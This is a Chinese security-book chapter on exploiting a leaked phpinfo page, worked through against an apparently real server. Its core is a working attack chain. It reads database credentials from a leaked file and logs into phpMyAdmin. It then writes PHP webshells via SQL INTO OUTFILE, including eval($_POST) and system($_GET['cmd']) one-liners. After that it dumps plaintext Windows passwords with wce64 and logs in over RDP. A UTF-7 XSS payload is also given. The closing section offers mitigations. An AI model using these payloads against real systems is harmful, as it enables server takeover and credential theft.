2.15 phpinfo函数信息泄露漏洞的利用与提权
phpinfo函数信息泄露漏洞常出现在一些默认的安装包中,例如phpstudy等,其产生原因是默认安装完成后没有及时删除这些用于环境测试的文件,常见的有phpinfo.php、1.php和test.php。虽然攻击者只能通过phpinfo函数获取PHP环境及变量等信息,但这些信息配合其他漏洞有可能导致系统被渗透和提权。
2.15.1 phpinfo函数简介
在PHP中提供了phpinfo函数。该函数返回PHP的所有信息,包括PHP的编译选项及扩充配置、PHP版本、服务器信息及环境变量、PHP环境变量、操作系统版本信息、路径及环境变量配置、HTTP标头、版权宣告等。该函数定义如下。
·语法:int phpinfo(void);。
·返回值:整数。
·函数种类:PHP系统功能。
2.15.2 phpinfo函数信息泄露漏洞
由于该函数主要用于网站建设过程中测试搭建的PHP环境是否正确,很多网站在测试完成后并没有及时将其删除,因此当这些测试页面被访问时,会输出服务器的关键信息,这些信息的泄露将提高服务器被渗透的风险。
2.15.3 通过phpinfo函数信息泄露漏洞渗透获取WebShell权限
1.分析phpinfo函数暴露出来的有用信息
从网站phpinfo.php程序运行的结果中我们可以获取以下有用的信息。
·操作系统为Windows Server 2008或者Windows 7:Windows NT BNKUMDFI 6.1 build 7601。
·服务器使用Apache 2.4,这意味着拿到WebShell后99%可以提权成功。Apache在Windows环境下权限极高,默认为system权限。
·网站默认路径:D:/WWW。通过MSSQL或者MySQL直接导入一句话木马时需要知道网站的真实路径,如图2-143所示。
图2-143 获取有用信息
2.查看泄露的文件
对根目录进行访问,如图2-144所示,发现mail.rar及3个文件目录,其中有一个phpMyAdmin,这是MySQL的PHP管理目录。有了这个目录的权限,只要获取数据库密码,即可导入/导出数据,包括导出一句话后门,对其中的压缩文件进行下载,并查看数据库配置文件。
图2-144 查看泄露的其他文件
3.获取数据库口令
在mail文件夹下,发现数据库连接文件为connect.php,打开后获取数据库的用户和密码,数据库用户为root,密码为空,如图2-145所示。
图2-145 获取数据库用户账号和密码
4.连接并查看数据库
如图2-146所示,在浏览器中打开http://183.***.160.***:5555/phpMyAdmin/,输入刚才获取的账号,直接登录,即可查看其中的所有数据库。
图2-146 登录并查看数据库
5.导出一句话后门到服务器
目前导出一句话后门的方法有以下几种。
(1)创建表
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL ); INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<? php @eval($_POST[pass]); ? >'); SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php'; DROP TABLE IF EXISTS `darkmoon`;
上面的代码是在MySQL数据库中创建darkmoon表,在表中加入一个名为“darkmoon1”的字段,并在该字段中插入一句话木马代码,然后从darkmoon1字段里导出一句话木马到网站的真实路径“d:/www/exehack.php”下,最后删除darkmoon表,执行效果如图2-147所示。
图2-147 导出一句话SQL脚本程序
注意
在使用以上代码时必须选择MySQL数据库,并在phpMyAdmin中选择SQL,需要修改的地方是网站的真实路径和文件名称“d:/www/exehack.php”。
(2)直接导出一句话后门文件
select '<? php @eval($_POST[pass]); ? >'INTO OUTFILE 'd:/www/p.php'
如果显示结果类似“您的SQL语句已成功运行(查询花费0.0006秒)”,表明后门文件生成成功。
(3)直接执行具有命令权限的WebShell
select '<? php echo \'<pre>\'; system($_GET[\'cmd\']); echo \'</pre>\'; ? >' INTO OUTFILE 'd:/www/cmd.php'
使用该方法导出成功后,可以直接执行DOS命令,使用方法为“www.xxx.com/cmd.php?cmd=”(在“cmd=”后面直接执行DOS命令),如图2-148所示。
图2-148 导入可以执行命令的WebShell
6.获取WebShell
用导出的WebShell进行访问测试,如图2-149所示,如果没有显示错误,则表示可以运行。在“中国菜刀”一句话后门管理中添加该地址,直接获取WebShell,如图2-150所示。
图2-149 测试导出的WebShell
图2-150 获取WebShell
2.15.4 服务器提权
1.对服务器进行提权
直接在“中国菜刀”中执行远程终端命令,如图2-151所示,可以查看是否开启了3389端口。由于当前用户的权限是系统权限,所以可以查看当前都有哪些用户。上传wce64.exe并执行“wce64-w”命令,获取当前登录用户的明文密码,如图2-152所示。
图2-151 执行命令
图2-152 获取系统管理员密码
2.登录3389端口
在本地打开mstsc.exe,直接输入用户名和密码登录,如图2-153所示,成功登录该服务器。
图2-153 成功登录服务器
2.15.5 总结与思考
一个小小的配置失误,再加上一些偶然的因素,就会导致一个系统被渗透并泄露服务器权限,因此,phpinfo.php信息泄露不可忽视。通过phpinfo信息泄露还可以进行跨站攻击,将以下代码保存为1.html。
<html> <head> <META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </head> <body> <iframe src="http://域名/phpinfo.php? ADw-SCRIPT AD4-alert(document.domain); ADw-/SCRIPT AD4-=1">
防范方法如下。
·修改服务器环境内的php.ini文件,将“expose_php=On”改成“expose_php=Off”,然后重启PHP。
·如果确实需要该测试信息,测试完毕应将该文件删除。
·若无须要,可以将一些PHP的危险函数禁用。打开/etc/php.ini文件,找到disable_functions,添加需要禁用的函数名,示例如下。
phpinfo, eval, passthru, exec, system, chroot, scandir, chgrp, chown, shell_exec, proc _open, proc_get_status, ini_alter, ini_alter, ini_restore, dl, pfsockopen, openlog, sysl og, readlink, symlink, popepassthru, stream_socket_server, fsocket, fsockopen